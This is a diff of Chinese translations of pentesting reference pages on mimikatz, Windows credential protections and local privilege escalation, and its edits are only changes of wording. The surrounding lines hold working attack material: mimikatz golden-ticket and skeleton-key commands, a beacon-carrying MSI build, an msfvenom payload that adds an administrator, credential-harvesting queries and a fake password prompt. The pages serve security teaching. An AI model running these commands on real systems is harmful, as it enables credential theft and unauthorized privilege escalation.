 - 其他参数类似于 Golden Ticket。
 
 示例：
@@ -114,7 +114,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
 - **清除票证**：
 - 命令：`kerberos::purge`
 - 清除会话中的所有 Kerberos 票证。
-- 在使用票证操作命令之前很有用，以避免冲突。
+- 在使用票证操作命令之前清除，以避免冲突。
 
 ### Active Directory 篡改
 
@@ -152,7 +152,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
 
 ### 杂项
 
-- **MISC::Skeleton**：在 DC 上向 LSASS 注入后门。
+- **MISC::Skeleton**：在 DC 的 LSASS 中注入后门。
 - `mimikatz "privilege::debug" "misc::skeleton" exit`
 
 ### 权限提升
diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md
index 9f76e8b61..f5a17fbdb 100644
--- a/src/windows-hardening/stealing-credentials/credentials-protections.md
+++ b/src/windows-hardening/stealing-credentials/credentials-protections.md
@@ -16,7 +16,7 @@ reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v Use
 ```
 ## LSA 保护
 
-从 **Windows 8.1** 开始，Microsoft 增强了 LSA 的安全性，以 **阻止不受信任进程的未经授权的内存读取或代码注入**。这一增强阻碍了像 `mimikatz.exe sekurlsa:logonpasswords` 这样的命令的典型功能。要 **启用这种增强保护**，应将 _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ 中的 _**RunAsPPL**_ 值调整为 1：
+从 **Windows 8.1** 开始，Microsoft 增强了 LSA 的安全性，以 **阻止不受信任进程的未经授权的内存读取或代码注入**。此增强功能妨碍了像 `mimikatz.exe sekurlsa:logonpasswords` 这样的命令的典型功能。要 **启用此增强保护**，应将 _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ 中的 _**RunAsPPL**_ 值调整为 1：
 ```
 reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
 ```
@@ -30,7 +30,7 @@ reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
 
 **凭据保护**是 **Windows 10（企业版和教育版）** 独有的功能，通过 **虚拟安全模式（VSM）** 和 **基于虚拟化的安全性（VBS）** 增强机器凭据的安全性。它利用 CPU 虚拟化扩展将关键进程隔离在受保护的内存空间中，远离主操作系统的触及。这种隔离确保即使是内核也无法访问 VSM 中的内存，有效保护凭据免受 **pass-the-hash** 等攻击。**本地安全机构（LSA）** 在这个安全环境中作为信任组件运行，而主操作系统中的 **LSASS** 进程仅充当与 VSM 的 LSA 的通信者。
 
-默认情况下，**凭据保护** 并未激活，需要在组织内手动激活。它对于增强抵御像 **Mimikatz** 这样的工具的安全性至关重要，这些工具在提取凭据的能力上受到限制。然而，仍然可以通过添加自定义 **安全支持提供程序（SSP）** 来利用漏洞，在登录尝试期间捕获明文凭据。
+默认情况下，**凭据保护** 并未激活，需要在组织内手动激活。它对于增强抵御像 **Mimikatz** 这样的工具的安全性至关重要，这些工具在提取凭据时受到限制。然而，仍然可以通过添加自定义 **安全支持提供程序（SSP）** 来利用漏洞，在登录尝试期间捕获明文凭据。
 
 要验证 **凭据保护** 的激活状态，可以检查注册表项 _**LsaCfgFlags**_，位于 _**HKLM\System\CurrentControlSet\Control\LSA**_ 下。值为 "**1**" 表示激活并带有 **UEFI 锁**，"**2**" 表示没有锁，"**0**" 表示未启用。此注册表检查虽然是一个强有力的指示，但并不是启用凭据保护的唯一步骤。有关启用此功能的详细指导和 PowerShell 脚本可在线获取。
 ```powershell
@@ -64,7 +64,7 @@ Windows 通过 **本地安全机构 (LSA)** 保护 **域凭据**，支持使用
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
-访问这些缓存凭据的权限受到严格控制，只有 **SYSTEM** 账户拥有查看它们所需的权限。需要访问此信息的管理员必须以 SYSTEM 用户权限进行操作。凭据存储在：`HKEY_LOCAL_MACHINE\SECURITY\Cache`
+访问这些缓存凭据的权限受到严格控制，只有 **SYSTEM** 账户拥有查看它们所需的权限。需要访问此信息的管理员必须以 SYSTEM 用户权限进行操作。凭据存储在： `HKEY_LOCAL_MACHINE\SECURITY\Cache`
 
 **Mimikatz** 可以通过命令 `lsadump::cache` 提取这些缓存凭据。
 
@@ -77,7 +77,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
 - **凭据委派 (CredSSP)**：即使 **允许委派默认凭据** 的组策略设置已启用，受保护用户的明文凭据也不会被缓存。
 - **Windows Digest**：从 **Windows 8.1 和 Windows Server 2012 R2** 开始，系统将不会缓存受保护用户的明文凭据，无论 Windows Digest 状态如何。
 - **NTLM**：系统不会缓存受保护用户的明文凭据或 NT 单向函数 (NTOWF)。
-- **Kerberos**：对于受保护用户，Kerberos 认证不会生成 **DES** 或 **RC4 密钥**，也不会缓存明文凭据或超出初始票证授予票证 (TGT) 获取的长期密钥。
+- **Kerberos**：对于受保护用户，Kerberos 认证不会生成 **DES** 或 **RC4 密钥**，也不会缓存明文凭据或超出初始票证授予票 (TGT) 获取的长期密钥。
 - **离线登录**：受保护用户在登录或解锁时不会创建缓存验证器，这意味着这些账户不支持离线登录。
 
 这些保护措施在 **受保护用户组** 的成员登录设备时立即激活。这确保了关键安全措施到位，以防止各种凭据泄露方法。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index e1d7ab1da..56b1c8da3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
 
 ### 环境
 
-环境变量中保存了任何凭据/敏感信息吗？
+环境变量中是否保存了任何凭据/敏感信息？
 ```bash
 set
 dir env:
@@ -121,7 +121,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 ```
-要查看 PowersShell 日志中的最后 15 个事件，可以执行：
+要查看PowersShell日志中的最后15个事件，可以执行：
 ```bash
 Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
 ```
@@ -178,7 +178,7 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 [**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
 基本上，这是这个漏洞利用的缺陷：
 
-> 如果我们有权修改我们的本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升的用户身份在我们的资产上运行代码。
+> 如果我们有权修改我们的本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升的用户身份运行代码。
 >
 > 此外，由于 WSUS 服务使用当前用户的设置，它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中，我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名，它将被服务接受。
 
@@ -194,7 +194,7 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 
 ## AlwaysInstallElevated
 
-**如果** 这两个注册表 **启用**（值为 **0x1**），则任何权限的用户都可以 **安装**（执行） `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
+**如果** 这 2 个注册表 **启用**（值为 **0x1**），则任何权限的用户都可以 **安装**（执行） `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -232,10 +232,10 @@ create-msi-with-wix.md
 
 - **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
 - 打开 **Visual Studio**，选择 **创建新项目**，在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
-- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录**，然后点击 **创建**。
-- 一直点击 **下一步**，直到到达第 3 步中的 4 步（选择要包含的文件）。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
+- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录中**，然后点击 **创建**。
+- 一直点击 **下一步**，直到到达第 3 步（选择要包含的文件）。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
 - 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目，在 **属性** 中，将 **TargetPlatform** 从 **x86** 更改为 **x64**。
-- 还有其他属性可以更改，例如 **作者** 和 **制造商**，这可以使安装的应用程序看起来更合法。
+- 还有其他属性可以更改，例如 **作者** 和 **制造商**，这可以使安装的应用看起来更合法。
 - 右键单击项目并选择 **查看 > 自定义操作**。
 - 右键单击 **安装** 并选择 **添加自定义操作**。
 - 双击 **应用程序文件夹**，选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在运行安装程序时立即执行 beacon 负载。
@@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 ```
 ### LAPS
 
-**LAPS** 旨在 **管理本地管理员密码**，确保每个密码在加入域的计算机上都是 **唯一、随机且定期更新** 的。这些密码安全地存储在 Active Directory 中，只有通过 ACL 授予足够权限的用户才能访问，从而在获得授权的情况下查看本地管理员密码。
+**LAPS** 旨在 **管理本地管理员密码**，确保每个密码都是 **唯一的、随机的，并定期更新** 在加入域的计算机上。这些密码安全地存储在 Active Directory 中，只有通过 ACL 授予足够权限的用户才能访问，从而允许他们在获得授权的情况下查看本地管理员密码。
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -275,7 +275,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 
 ### WDigest
 
-如果启用，**明文密码存储在 LSASS**（本地安全授权子系统服务）中。\
+如果启用，**明文密码存储在 LSASS**（本地安全授权子系统服务）。\
 [**关于 WDigest 的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
 ```bash
 reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
@@ -287,15 +287,15 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
 ```bash
 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
-### Credentials Guard
+### 凭据保护
 
-**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据，防止诸如传递哈希攻击等威胁。| [**有关 Credentials Guard 的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据，防止诸如哈希传递攻击等威胁。| [**有关凭据保护的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
 ```bash
 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ```
 ### 缓存凭据
 
-**域凭据**由**本地安全机构**（LSA）进行验证，并被操作系统组件使用。当用户的登录数据通过注册的安全包进行验证时，通常会为该用户建立域凭据。\
+**域凭据**由**本地安全机构**（LSA）进行认证，并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时，通常会为该用户建立域凭据。\
 [**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials)。
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@@ -321,16 +321,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
 ```
 ### 特权组
 
-如果您**属于某个特权组，您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限：
+如果你**属于某个特权组，你可能能够提升权限**。在这里了解特权组以及如何滥用它们以提升权限：
 
 {{#ref}}
 ../active-directory-methodology/privileged-groups-and-token-privileges.md
 {{#endref}}
 
-### 令牌操控
+### 令牌操作
 
 **了解更多**关于**令牌**的信息，请访问此页面：[**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens)。\
-查看以下页面以**了解有趣的令牌**及其滥用方式：
+查看以下页面以**了解有趣的令牌**及其滥用方法：
 
 {{#ref}}
 privilege-escalation-abusing-tokens.md
@@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 ### 文件和文件夹权限
 
 首先，列出进程 **检查进程命令行中的密码**。\
-检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写入权限，以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/):
+检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写入权限，以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 如果您遇到此错误（例如与SSDPSRV）：
 
 _系统错误 1058 已发生。_\
-&#xNAN;_&#x54;该服务无法启动，可能是因为它被禁用或没有启用的设备与之关联。_
+&#xNAN;_&#x54;该服务无法启动，可能是因为它被禁用或没有与之关联的启用设备。_
 
 您可以使用以下方法启用它：
 ```bash
@@ -465,12 +465,12 @@ net stop [service name] && net start [service name]
 权限可以通过各种权限提升：
 
 - **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
-- **WRITE_DAC**: 启用权限重新配置，从而能够更改服务配置。
+- **WRITE_DAC**: 使得权限重新配置成为可能，从而能够更改服务配置。
 - **WRITE_OWNER**: 允许获取所有权和权限重新配置。
 - **GENERIC_WRITE**: 继承更改服务配置的能力。
 - **GENERIC_ALL**: 也继承更改服务配置的能力。
 
-对于此漏洞的检测和利用，可以使用 _exploit/windows/local/service_permissions_。
+为了检测和利用此漏洞，可以使用 _exploit/windows/local/service_permissions_。
 
 ### 服务二进制文件的弱权限
 
@@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
 
 ### 未加引号的服务路径
 
-如果可执行文件的路径没有用引号括起来，Windows 将尝试执行每个在空格之前的结尾。
+如果可执行文件的路径没有用引号括起来，Windows 将尝试执行每个以空格结尾的部分。
 
 例如，对于路径 _C:\Program Files\Some Folder\Service.exe_，Windows 将尝试执行：
 ```powershell
@@ -543,7 +543,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
 ```powershell
 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
 ```
-**您可以使用** metasploit 检测和利用此漏洞： `exploit/windows/local/trusted\_service\_path` 您可以使用 metasploit 手动创建服务二进制文件：
+**您可以使用** metasploit 检测和利用此漏洞： `exploit/windows/local/trusted\_service\_path` 您可以手动创建一个服务二进制文件，使用 metasploit：
 ```bash
 msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
 ```
@@ -564,7 +564,7 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE
 Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
 Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 ```
-### 写入权限
+### 写权限
 
 检查您是否可以修改某个配置文件以读取某个特殊文件，或者您是否可以修改将由管理员帐户（schedtasks）执行的某个二进制文件。
 
@@ -593,7 +593,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 ```
 ### 开机时运行
 
-**检查您是否可以覆盖某些将由其他用户执行的注册表或二进制文件。**\
+**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\
 **阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息：
 
 {{#ref}}
@@ -616,7 +616,7 @@ driverquery /SI
 ```bash
 for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
 ```
-有关如何滥用此检查的更多信息，请参见：
+有关如何滥用此检查的更多信息：
 
 {{#ref}}
 dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -703,9 +703,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
 Windows Vault 存储用户在服务器、网站和其他程序的凭据，**Windows** 可以 **自动登录用户**。乍一看，这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等，以便他们通过浏览器自动登录。但事实并非如此。
 
-Windows Vault 存储 Windows 可以自动登录用户的凭据，这意味着任何 **需要凭据来访问资源**（服务器或网站）的 **Windows 应用程序都可以使用此凭据管理器**和 Windows Vault，并使用提供的凭据，而不是用户每次都输入用户名和密码。
+Windows Vault 存储 Windows 可以自动登录用户的凭据，这意味着任何 **需要凭据来访问资源**（服务器或网站）的 **Windows 应用程序** **都可以利用这个凭据管理器** 和 Windows Vault，并使用提供的凭据，而不是用户一直输入用户名和密码。
 
-除非应用程序与凭据管理器交互，否则我认为它们不可能使用给定资源的凭据。因此，如果您的应用程序想要使用 Vault，它应该以某种方式 **与凭据管理器通信并请求该资源的凭据**，从默认存储 Vault 中获取。
+除非应用程序与凭据管理器交互，否则我认为它们不可能使用给定资源的凭据。因此，如果您的应用程序想要使用 Vault，它应该以某种方式 **与凭据管理器通信并请求该资源的凭据** 从默认存储 Vault。
 
 使用 `cmdkey` 列出机器上存储的凭据。
 ```bash
@@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 ```
 您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
-您可以使用 `sekurlsa::dpapi` 模块（如果您是 root）从 **memory** 中 **提取许多 DPAPI** **masterkeys**。
+您可以使用 `sekurlsa::dpapi` 模块从 **内存** 中提取许多 **DPAPI** **masterkeys**（如果您是 root）。
 
 {{#ref}}
 dpapi-extracting-passwords.md
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
 
 ### PowerShell 凭据
 
-**PowerShell 凭据** 通常用于 **脚本** 和自动化任务，以便方便地存储加密凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
+**PowerShell 凭据** 通常用于 **脚本** 和自动化任务，以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
 
 要从包含 PS 凭据的文件中 **解密** 凭据，您可以执行：
 ```powershell
@@ -795,7 +795,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 
 ### 便签
 
-人们常常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
+人们经常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
 
 ### AppCmd.exe
 
@@ -803,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 **AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\
 如果该文件存在，则可能已经配置了一些 **凭据** 并可以 **恢复**。
 
-此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
+此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
 ```bash
 function Get-ApplicationHost {
 $OrigError = $ErrorActionPreference
@@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
 ### SCClient / SCCM
 
 检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
-安装程序以 **SYSTEM 权限** 运行，许多程序易受 **DLL 侧载攻击（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
+安装程序以 **SYSTEM 权限** 运行，许多程序易受 **DLL Sideloading 攻击（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
@@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### 请求凭据
 
-您可以始终**要求用户输入他的凭据或其他用户的凭据**，如果您认为他可能知道这些凭据（请注意，**直接向客户请求** **凭据**是非常**危险**的）：
+您可以始终**要求用户输入他的凭据或其他用户的凭据**，如果您认为他可能知道这些凭据（请注意，**直接向**客户**请求**凭据是非常**危险**的）：
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1170,7 +1170,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 
 **组件对象模型（COM）**是内置于Windows操作系统中的一种技术，允许不同语言的软件组件之间进行**互通**。每个COM组件通过类ID（CLSID）进行**标识**，每个组件通过一个或多个接口暴露功能，这些接口通过接口ID（IIDs）进行标识。
 
-COM类和接口在注册表中定义，分别位于**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
+COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
 
 在该注册表的CLSID中，您可以找到子注册表**InProcServer32**，其中包含一个指向**DLL**的**默认值**和一个名为**ThreadingModel**的值，该值可以是**Apartment**（单线程）、**Free**（多线程）、**Both**（单线程或多线程）或**Neutral**（线程中立）。
 
@@ -1184,7 +1184,7 @@ COM类和接口在注册表中定义，分别位于**HKEY\_**_**CLASSES\_**_**RO
 com-hijacking.md
 {{#endref}}
 
-### **在文件和注册表中搜索通用密码**
+### **在文件和注册表中进行通用密码搜索**
 
 **搜索文件内容**
 ```bash
@@ -1198,7 +1198,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
 where /R C:\ user.txt
 where /R C:\ *.ini
 ```
-**搜索注册表中的密钥名称和密码**
+**搜索注册表中的键名和密码**
 ```bash
 REG QUERY HKLM /F "password" /t REG_SZ /S /K
 REG QUERY HKCU /F "password" /t REG_SZ /S /K
@@ -1220,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
 ## 泄露的句柄
 
-想象一下，**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程（`OpenProcess()`）。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
-然后，如果你对这个低权限进程**拥有完全访问权限**，你可以抓取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入shellcode**。\
+想象一下，**一个以 SYSTEM 身份运行的进程打开一个新进程** (`OpenProcess()`)，并且具有**完全访问权限**。同一个进程**还创建一个新进程** (`CreateProcess()`) **，该进程具有低权限但继承了主进程的所有打开句柄**。\
+然后，如果你对这个低权限进程**拥有完全访问权限**，你可以获取通过 `OpenProcess()` 创建的**特权进程的打开句柄**并**注入 shellcode**。\
 [阅读这个例子以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\
 [阅读这篇**其他文章以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问权限）继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
 
@@ -1229,17 +1229,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 
 共享内存段，称为**管道**，使进程之间能够进行通信和数据传输。
 
-Windows提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
+Windows 提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
 
-当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了**获得更高权限**的机会，因为一旦它与您建立的管道交互，您就可以采用该进程的身份。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
+当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate** 权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了一个**获得更高权限**的机会，通过采用该进程的身份，一旦它与您建立的管道进行交互。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
 
-此外，以下工具允许**使用像burp这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以查找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+此外，以下工具允许**使用像 burp 这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **，而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
 ## 杂项
 
 ### **监控命令行中的密码**
 
-当以用户身份获取shell时，可能会有计划任务或其他进程正在执行，这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行，并将当前状态与先前状态进行比较，输出任何差异。
+当以用户身份获取 shell 时，可能会有计划任务或其他进程正在执行，这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行，并将当前状态与先前状态进行比较，输出任何差异。
 ```powershell
 while($true)
 {
@@ -1327,7 +1327,7 @@ sc start newservicename
 ### AlwaysInstallElevated
 
 从高完整性进程中，您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
-[有关相关注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](./#alwaysinstallelevated)
+[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](./#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
 
@@ -1343,7 +1343,7 @@ sc start newservicename
 
 此技术被 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道，然后创建/滥用一个服务来写入该管道**。然后，**使用 `SeImpersonate` 权限创建管道的**服务器将能够**模拟管道客户端（服务）的令牌**，从而获得 SYSTEM 权限。\
 如果您想要[**了解更多关于命名管道的信息，您应该阅读这个**](./#named-pipe-client-impersonation)。\
-如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例，您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
+如果您想阅读[**如何通过命名管道从高完整性转到系统的示例，您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
 
 ### Dll Hijacking
 
@@ -1377,17 +1377,17 @@ sc start newservicename
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
